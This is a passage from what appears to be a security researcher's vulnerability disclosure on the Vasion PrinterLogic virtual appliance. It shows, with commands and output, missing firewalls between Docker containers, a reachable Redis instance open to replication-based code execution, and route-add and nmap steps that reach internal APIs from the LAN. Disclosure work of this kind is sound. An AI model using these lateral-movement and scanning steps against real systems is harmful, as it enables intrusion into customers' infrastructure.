{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaekbszU1leTMa0p1PlOjlSuQ","errorCauses":[]} kali% Storing private keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers. ## Details - Lack of firewall between Docker instances The solution uses 40 different Docker instances with several networks. Listing of Docker instances: root@printerlogic:~# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i 9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.jx70uxweg3iown085yiuis4j6 7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" About an hour ago Up About an hour (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4 69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5 d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz 0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr 6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" About an hour ago Up About an hour (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj 11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" About an hour ago Up About an hour (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.dfwyt1m90ab30k75fogxhcxcz 7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736 9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.zoorlq8nwkx15smt2cegigo8h b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1 77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" About an hour ago Up About an hour (healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39 ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q 9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" About an hour ago Up About an hour (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead 0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4 bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" About an hour ago Up About an hour (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p 171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.7n99xw0qv856wjvj3eleaflij a7656e45349d traefik:latest "/srv/entrypoint.sh" About an hour ago Up About an hour 80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u 8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.okyfdbo5ct76v54eppsanw0me e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy 5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5 d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3 fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." About an hour ago Up About an hour 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6 294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv 6cb464ab04b7 portainer/agent:latest "./agent" About an hour ago Up About an hour printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j 55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.vwp9poc8belv24mxwijeeetct a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" About an hour ago Up About an hour (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx 317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb 6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" About an hour ago Up About an hour printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc 1d856b21e63d redis:5-alpine "docker-entrypoint.s" About an hour ago Up About an hour (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6 a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl 022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh" 5 days ago Up About an hour cicd_hive_1 root@printerlogic:~# By default, there are no firewall rules between Docker instances, allowing an attacker to compromise an instance to attack other instances (`lateral movements`). For example, it is possible to reach a Docker instance providing PHP webpages from another instance. HTTP requests inside the `172.17.130.0/24` network: bash-5.0# curl -kv http://172.17.130.40/index.php * Uses proxy env variable no_proxy == 'fake-host,localhost,*.local,*.printercloud,*.overlay,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16' * Trying 172.17.130.40:80... * TCP_NODELAY set * Connected to 172.17.130.40 (172.17.130.40) port 80 (#0) > GET /index.php HTTP/1.1 > Host: 172.17.130.40 > User-Agent: curl/7.66.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: nginx < Content-Type: text/html; charset=UTF-8 < Transfer-Encoding: chunked < Connection: keep-alive < Cache-Control: no-cache, private < Date: Wed, 26 Jan 2022 04:59:37 GMT * Added cookie XSRF-TOKEN="eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D" for domain 172.17.130.40, path /, expire 1643180377 < Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D; expires=Wed, 26-Jan-2022 06:59:37 GMT; Max-Age=7200; path=/ < * Connection #0 to host 172.17.130.40 left intact The Redis instance is directly reachable from this internal network - this allows an attacker to compromise the Redis instance from any Docker instance: printerlogic:~# docker ps|grep redis 1d856b21e63d redis:5-alpine "docker-entrypoint.sh" About an hour ago Up About an hour (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6 root@printerlogic:~# docker inspect 1d856b21e63d|grep 172 "SandboxID": "3aa3895b4d208b6e938c5e11729dfc07522858896f2cd91b1666b51f7b6d8811", "IPv4Address": "172.17.130.35" "IPAddress": "172.17.130.35", root@printerlogic:~# - From `printerlogic/scd:1.0.70`, there is a full access to the redis instance. bash-5.0# nc 172.17.130.21 6379 HELO -ERR unknown command `HELO`, with args beginning with: All the Docker instances have access to the redis instance, meaning it is possible from any docker instance to execute commands on the Redis instance using master/slave replication (https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec/). An attacker compromising a Docker instance can use lateral movement to compromise other Docker instances. Compromising the Redis instance is trivial. ## Details - Insecure access to Docker instances from the WAN An attacker with a machine located on the same network segment (layer 2) can add a route to the IPs of Docker instances using the external IP of the solution as a gateway. He will then be able to reach internal services running inside Docker instances - PrinterLogic will act as a network gateway, providing access to the internal Docker instances. Proof of Concept: On the machine running PrinterLogic VA, the docker instance `printerlogic/ebc` uses 2 IPs (`172.17.130.74` and `172.17.0.156`): Configuration of `printerlogic/ebc`: root@printerlogic:/var/lib/docker/overlay2# docker ps | grep printerlogic/ebc:1.0.34 d61d429548aa printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.iat3at5k4neth8k016wz5cjq3 root@printerlogic:/var/lib/docker/overlay2# docker exec -it d61d429548aa /bin/bash bash-5.0# ifconfig eth0 Link encap:Ethernet HWaddr 02:42:AC:11:82:4A inet addr:172.17.130.74 Bcast:172.17.131.255 Mask:255.255.254.0 UP BROADCAST RUNNING MULTICAST MTU:1424 Metric:1 RX packets:76 errors:0 dropped:0 overruns:0 frame:0 TX packets:39 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:7533 (7.3 KiB) TX bytes:4160 (4.0 KiB) eth1 Link encap:Ethernet HWaddr 02:42:AC:11:00:9C inet addr:172.17.0.156 Bcast:172.17.0.255 Mask:255.255.255.128 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:124 errors:0 dropped:0 overruns:0 frame:0 TX packets:86 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:8599 (8.3 KiB) TX bytes:36949 (36.0 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:9376 errors:0 dropped:0 overruns:0 frame:0 TX packets:9376 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1319224 (1.2 MiB) TX bytes:1319224 (1.2 MiB) bash-5.0# - From the attacker machine, it is required to add routes to internal IP of Docker instances, using the IP of the PrinterLogic server as a gateway (10.105.0.241). Adding a route to rach a Docker instance: kali# route add -host 172.17.0.156 gw 10.105.0.241 kali# traceroute -nI 172.17.0.156 traceroute to 172.17.0.156 (172.17.0.156), 30 hops max, 60 byte packets 1 10.105.0.241 0.269 ms 0.259 ms 0.259 ms 2 172.17.0.156 0.441 ms 0.459 ms 0.460 ms It is now possible to interact with the internal webserver running on the Docker instance with the IP 172.16.0.156 (`printerlogic/ebb`): kali% curl -kv http://172.17.0.156/ * Trying 172.17.0.156:80... * Connected to 172.17.0.156 (172.17.0.156) port 80 (#0) > GET / HTTP/1.1 > Host: 172.17.0.156 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 Found < Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests * Connection #0 to host 172.17.0.156 left intact Found. Redirecting to /api-docs % We have a full access to the internal webserver running inside a Docker instance By default, the `docker_gwbridge` network will be reachable from the WAN. This network is used by the Docker instances to get connectivity: Docker network configuration: root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network ls NETWORK ID NAME DRIVER SCOPE 7a0cd0d79106 bridge bridge local a0f7589c4c27 cicd_default bridge local yyeicsrfgvdj config_default overlay swarm 7d70cb612a96 docker_gwbridge bridge local e500f5cc9286 host host local g13ns8jd9aw9 ingress overlay swarm 22493bb20f06 none null local 03r08ptuv9li printercloud overlay swarm 19d8681ed357 secrets_default bridge local tke7a3glgyqe storage_default overlay swarm root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network inspect docker_gwbridge | grep 172 "Subnet": "172.17.0.128/25", "Gateway": "172.17.0.129" "IPv4Address": "172.17.0.169/25", "IPv4Address": "172.17.0.145/25", "IPv4Address": "172.17.0.134/25", "IPv4Address": "172.17.0.136/25", We can add routes for the entire 172.17.0.0/16 IP range: kali# route add -net 172.17.0.0/16 gw 10.105.0.241 An attacker scanning the first /24 IP range will detect 29 open HTTP servers. Full access to all the internal webserver providing APIs without authentication: kali% nmap -sT -p 80 -v -Pn -n -sV 172.17.0.0/24 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-08 04:37 EST NSE: Loaded 45 scripts for scanning. Initiating Connect Scan at 04:37 Scanning 256 hosts [1 port/host] Discovered open port 80/tcp on 172.17.0.1 Discovered open port 80/tcp on 172.17.0.135 Discovered open port 80/tcp on 172.17.0.138 Discovered open port 80/tcp on 172.17.0.141 Discovered open port 80/tcp on 172.17.0.142 Discovered open port 80/tcp on 172.17.0.129 Discovered open port 80/tcp on 172.17.0.143 Discovered open port 80/tcp on 172.17.0.146 Discovered open port 80/tcp on 172.17.0.147 Discovered open port 80/tcp on 172.17.0.149 Discovered open port 80/tcp on 172.17.0.151 Discovered open port 80/tcp on 172.17.0.152 Discovered open port 80/tcp on 172.17.0.155 Discovered open port 80/tcp on 172.17.0.156 Discovered open port 80/tcp on 172.17.0.157 Discovered open port 80/tcp on 172.17.0.159 Discovered open port 80/tcp on 172.17.0.160 Discovered open port 80/tcp on 172.17.0.161 Discovered open port 80/tcp on 172.17.0.162 Discovered open port 80/tcp on 172.17.0.163 Discovered open port 80/tcp on 172.17.0.164 Discovered open port 80/tcp on 172.17.0.165 Discovered open port 80/tcp on 172.17.0.166 Discovered open port 80/tcp on 172.17.0.167 Discovered open port 80/tcp on 172.17.0.168 Discovered open port 80/tcp on 172.17.0.169 Discovered open port 80/tcp on 172.17.0.130 Discovered open port 80/tcp on 172.17.0.140 Discovered open port 80/tcp on 172.17.0.144 When these webservers are accessed through a browser, it appears there are internal webservers providing APIs. The attacker will have a full access to these servers without authentication. Full access to all the internal webserver providing APIs, without authentication [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Full access to all the internal webserver providing APIs, without authentication [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Full access to all the internal webserver providing APIs, without authentication [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] An attacker located on the same network segment can reach internal services and bypass the entire security of the solution. The attack surface is very large because of the exposure of the internal Docker instances. For example, an attacker reaching the previous Redis instance will achieve a Remote Code Execution against the appliance. ## Details - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution The directory `/var/www/efs_storage` contains all the configuration files of the appliance. A read/write access to this directory will allow an attacker to compromise the appliance. It appears the Docker instances have access to `/var/www/efs_storage`, as shown below. Docker instances with access to `/var/www/efs_storage`: 16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i "Source": "/var/www/efs_storage", "Target": "/var/www/efs_storage" "Source": "/var/www/efs_storage", "Destination": "/var/www/efs_storage", "APPLIANCE_STORAGE_TARGET=/var/www/efs_storage", "SHARED_STORAGE=/var/www/efs_storage", 9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "SHARED_STORAGE=/var/www/efs_storage", a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.jx70uxweg3iown085yiuis4j6 "SHARED_STORAGE=/var/www/efs_storage", 7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4 "SHARED_STORAGE=/var/www/efs_storage", 69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5 "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/pi/storage/api", "SHARED_STORAGE=/var/www/efs_storage", d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu "SHARED_STORAGE=/var/www/efs_storage", ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz "SHARED_STORAGE=/var/www/efs_storage", 0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr "SHARED_STORAGE=/var/www/efs_storage", 6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 4 hours ago Up 4 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj "SHARED_STORAGE=/var/www/efs_storage", 11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" 4 hours ago Up 4 hours (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.dfwyt1m90ab30k75fogxhcxcz "Source": "/var/www/efs_storage", "Source": "/var/www/efs_storage", 7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "SHARED_STORAGE=/var/www/efs_storage", bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "SHARED_STORAGE=/var/www/efs_storage", f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736 "SHARED_STORAGE=/var/www/efs_storage", 9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may "SHARED_STORAGE=/var/www/efs_storage", a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.zoorlq8nwkx15smt2cegigo8h "Source": "/var/www/efs_storage/users/storage", "Source": "/var/www/efs_storage/users/storage", "SHARED_STORAGE=/var/www/efs_storage", b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1 "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "SHARED_STORAGE=/var/www/efs_storage", 77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe "Source": "/var/www/efs_storage/mysql", "Source": "/var/www/efs_storage/exodus", "Source": "/var/www/efs_storage/mysql", "Source": "/var/www/efs_storage/exodus", b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39 "SHARED_STORAGE=/var/www/efs_storage", ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/storage", "Source": "/var/www/efs_storage/pi/storage/api", "Source": "/var/www/efs_storage/pi/storage/app", "Source": "/var/www/efs_storage/pi/storage/framework/sessions", "Source": "/var/www/efs_storage/null", "Source": "/var/www/efs_storage/pi/cache", "Source": "/var/www/efs_storage/null", "SHARED_STORAGE=/var/www/efs_storage", f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q "SHARED_STORAGE=/var/www/efs_storage", 9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead "SHARED_STORAGE=/var/www/efs_storage", 0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q "SHARED_STORAGE=/var/www/efs_storage", bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4 "SHARED_STORAGE=/var/www/efs_storage", bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p "SHARED_STORAGE=/var/www/efs_storage", 171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.7n99xw0qv856wjvj3eleaflij "SHARED_STORAGE=/var/www/efs_storage", a7656e45349d traefik:latest "/srv/entrypoint.sh " 4 hours ago Up 4 hours 80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u "Source": "/var/www/efs_storage/certs", "Source": "/var/www/efs_storage/pi/storage/certs", "Target": "/var/www/efs_storage/pi/storage/certs", "Source": "/var/www/efs_storage/pi/storage/certs", "Destination": "/var/www/efs_storage/pi/storage/certs", "Source": "/var/www/efs_storage/certs", 8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 